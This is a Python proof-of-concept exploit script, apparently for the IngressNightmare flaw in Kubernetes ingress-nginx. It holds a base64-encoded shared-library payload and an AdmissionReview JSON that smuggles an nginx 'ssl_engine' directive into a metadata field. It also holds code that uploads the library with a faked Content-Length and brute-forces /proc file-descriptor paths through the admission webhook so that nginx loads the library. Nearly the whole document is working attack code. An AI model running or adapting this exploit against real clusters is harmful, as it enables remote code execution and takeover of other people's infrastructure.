AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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"
admssion_json = """
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "minimal-ingress",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "minimal-ingress",
"namespace": "default",
"creationTimestamp": null,
"uid": "test#;\\n\\n}\\n}\\n}\\nssl_engine ../../../../../../../REPLACE",
"annotations": {
"nginx.ingress.kubernetes.io/mirror-target": "xxxxxxxxxxx"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 443
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
"""
def send_request(admission_url, json_data, proc, fd):
print(f"Trying Proc: {proc}, FD: {fd}")
path = f"proc/{proc}/fd/{fd}"
replaced_data = json_data.replace("REPLACE", path)
headers = {
"Content-Type": "application/json"
}
full_url = admission_url.rstrip("/") + "/admission"
try:
response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1)
# print(response.text) - use this to debug (check response of admission webhook)
print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
except Exception as e:
print(f"Error on /proc/{proc}/fd/{fd}: {e}")
def admission_brute(admission_url, max_workers=10):
# proc = input("INPUT PROC:") - use this for manual testing
# fd = input("INPUT FD:") - use this for manual testing
# send_request(admission_url, json_data, proc, fd) - use this for manual testing
with ThreadPoolExecutor(max_workers=max_workers) as executor:
for proc in range(30, 50): # can be increased to 100
for fd in range(3, 30): # can be increased to 100 (not recommended)
executor.submit(send_request, admission_url, admssion_json, proc, fd)
for proc in range(160, 180): # can be increased to 100
for fd in range(3, 30): # can be increased to 100 (not recommended)
executor.submit(send_request, admission_url, admssion_json, proc, fd)
def exploit(ingress_url):
so = base64.b64decode(pwn_base64) + b"\00" * 8092
real_length = len(so)
fake_length = real_length + 10
url = ingress_url
parsed = urlparse(url)
host = parsed.hostname
port = parsed.port or 80
path = parsed.path or "/"
try:
sock = socket.create_connection((host, port))
except Exception as e:
print(f"Error connecting to {host}:{port}: {e} - host is up?")
sys.exit(0)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: lufeisec\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {fake_length}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode("iso-8859-1")
http_payload = headers + so
sock.sendall(http_payload)
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
print("[*] Resposta:")
print(response.decode(errors="ignore"))
sock.close()
if len(sys.argv) < 2:
print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> ")
sys.exit(0)
else:
ingress_url = sys.argv[1]
admission = sys.argv[2]
# Send the library to the ingress pod and keep the connection open to keep the file open via the file descriptor (FD).
x = threading.Thread(target=exploit, args=(ingress_url,))
x.start()
# time.sleep(9999 * 9999)
# start the admission webhook brute force (/proc/{pid}/fd/{fd})
admission_brute(admission)
```
原作者地址:https://github.com/lufeirider/IngressNightmare-PoC